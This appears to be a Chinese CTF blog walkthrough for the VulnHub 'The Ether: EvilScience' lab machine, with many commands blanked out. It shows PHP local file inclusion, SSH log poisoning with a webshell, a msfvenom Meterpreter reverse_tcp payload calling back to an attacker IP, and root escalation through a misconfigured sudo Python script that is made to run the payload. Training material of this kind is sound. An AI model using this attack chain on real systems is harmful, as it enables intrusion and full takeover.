靶机链接
https://www.vulnhub.com/entry/the-ether-evilscience,212
运行环境
本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行文件即可
靶机:本靶机默认使用了自动获取的上网模式。运行靶机之后,将会桥接到物理网卡,接入网络。
攻击机:Kali虚拟机运行于virtualbox,同样使用桥接模式,即可访问靶机。
靶机说明
本靶机有一定难度,不适合初学者。
本靶机的渗透目标为渗透进靶机并且找到系统中隐藏的Flag值。
官方提供了一个提示:靶机中有一个相关的文件,在渗透过程中发挥重要作用,但是不要浪费时间试图去解密这个混淆后的文件。
信息收集
ip发现
首先看一下Kali的网络配置。
之后使用fping发现靶机。发现有本网段有四个相关IP。
端口扫描与服务识别
使用nmap快速扫描选项(参数)扫描网段
根据可以很明显的区分,为TP-Link路由器,为苹果设备,为VMware虚拟机。可以确定为目标靶机的IP。
确定目标IP之后,使用Nmap对目标进行更加详细的探测:
解释一下相关参数:
详细扫描目标IP,加载所有脚本,尽可能全面的探测信息;
显示详细的扫描过程;
将扫描结果以普通文本的格式输出到。结果如下:
威胁建模
分析nmap的扫描结果,发现靶机只开放了和端口,系统为。端口为服务,端口为服务,Web容器为。
通常Web会存在各种各样的问题,经过初步分析,以Web作为初步的渗透入口。
Web漏洞挖掘
1. 使用niktoWeb漏洞扫描器
使用nikto工具扫描Web漏洞,,参数指定扫描目标。
没有发现什么明显的高危漏洞,发现了目录和文件,没有什么利用价值。
2. 使用dirb扫描网站目录
除了部分静态文件,没有发现有价值的利用点。
3. 浏览网站功能
根据前两步基本的信息探测,并没有发现漏洞点。手动访问网站,分析网站功能。
4. 文件包含漏洞测试
为了直观的看到测试结果,这里使用Burpsuite处理http请求。
通过尝试包含Linux系统的配置文件,发现存在一定的限制。
如:包含发现没有结果。
之后测试了几个常见的Apache日志的路径:
/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log
均无结果。
猜测可能是更改了配置文件的路径,尝试读Apache2的配置文件,,发现也是失败。
尝试通过php伪协议读取php文件源码,也无果。
根据之前整理的文件包含漏洞笔记利用思路:
结合之前信息探测的结果,靶机只开通了与服务。Apache的日志包含失败,尝试包含ssh的登陆日志。
成功读到ssh的登陆日志。
获取shell
1. 获取一句话Webshell
使用一句话作为用户名登陆靶机的ssh。
SSH的日志会记录此次登陆行为,这样就可以把一句话写入ssh的日志文件。测试一下是否成功:
可以看到一句话已经成功写入。
2. msfvenom生成Meterpreter shell
平时使用Msf比较多,这里也以Msf作为接下来主要的渗透工具。
首先生成Linux平台的shell程序。
`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f elf > shell.elf `
3. Metasploit 设置监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.102
exploit
4. 种植Meterpreter shell
首先使用Python搭建一个简单的Web Server:
之后利用前面获得的一句话,执行命令,下载生成的木马,并且运行。
分别发送以下请求:
注意:
因为要执行的命令里面有空格、加号等符号,要将payload进行urlencode之后才可以正常执行。
因为生成的木马文件没有执行权限,下载到靶机后也无法执行,所以需要先给添加执行权限,之后再执行。
执行结果:
Web Server及msf的结果:
提升权限
Linux提权的基本思路:
1. 溢出提权
现在拿到了目标靶机的Meterpreter shell,简单的看下信息。
发现系统为,前段时间爆了Ubuntu16.04提权的exp,在这里试一试。
exp 地址:https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
提权失败。
2. 使用msf提权
没有发现可以利用的提权漏洞。
3. 错误的SUID文件提权
进入交互式shell,派生一个bash的shell:
在Web的目录中发现了,这是不应该存在的,猜测是题目所指的特殊文件,而且该文件特别大。
运行一下该py文件,发现是审计日志的程序。 查看Apache2的日志文件,发现是执行了命令,但是因为权限不够,没有执行成功。
仔细查看py文件的权限,发现具有SUID的权限,且文件所属用户为root。
查看一下用户权限。
发现可以不使用密码即可以root权限运行该py文件。这就好办多了。
该py文件的配置错误,导致可以直接以root权限执行命令。
接下来拿root权限的shell。
4. 获取root权限的shell
因为之前已经上传了Msfvenom生成的马,这里再次使用。首先推出shell,命令调入后台,然后再次开启监听,并且置于后台。
利用发现的特殊文件以root权限运行msf木马。
sudo ./xxxlogauditorxxx.py
/var/log/apache2/access.log|./shell.elf
运行py之后,显示出现问题,不过不影响运行木马。
进入session 2的shell,查看权限:
获取flag
在root的家目录发现了文件:
下载到本地进行分析:
推测接下来的考点属于图片隐写。
经过分析,在图片文件的末尾发现了一串base64
将base64写入,进行解码,get flag:
靶场思路回顾
至此,已经完成最终目标,回头分析一下之前几个失败的点。
1. Web方面利用失败原因
首先看一下index.php的核心代码:
$file = $_GET["file"];
$file = str_ireplace("etc","", $file);
$file = str_ireplace("php:","", $file);
$file = str_ireplace("expect:","", $file);
$file = str_ireplace("data:","", $file);
$file = str_ireplace("proc","", $file);
$file = str_ireplace("home","", $file);
$file = str_ireplace("opt","", $file);
if ($file == "/var/log/auth.log") {
header("location: index.php");
}
else{
include($file);
}
include($file);
可以看到将一些关键词置空了。
所以,之前利用不成功的点原因如下:
伪协议读文件失败
过滤了且大小写敏感,故不能使用伪协议读文件。
读取配置文件、passwd文件等失败
过滤了,无法读取任何配置文件
读取Apache访问日志失败。
因权限问题,用户无法写入和读取Apache的日志文件。故,包含Apache日志失败。
2. 系统方面利用失败原因
溢出提权失败
通过分析报错,原因可能是因为靶机系统为32位,但exp只支持64位系统。
思路总结
突破点总结:
PHP本地文件包含漏洞发现
SSH日志写入一句话
利用LFI和SSH日志getshell
MSF生成木马,利用一句话植入、运行
利用错误配置SUID程序提权
在完成这次靶场的过程中,可以有很多发散的思路,比如:
文件包含漏洞,可以使用字典Fuzz一下各种配置文件。
使用NC或者其他反弹shell的姿势反弹shell。
此外,Metasploit Framework有很多方便实用的功能,如果能够掌握,会大大简化渗透的某些步骤,值得深入学习。
总体来说,此靶场设计比较简单。一个Web,一个SSH,利用点无非这两个,思路比较清晰,便于实践者完成该靶场。
文章推荐
领取专属 10元无门槛券
私享最新 技术干货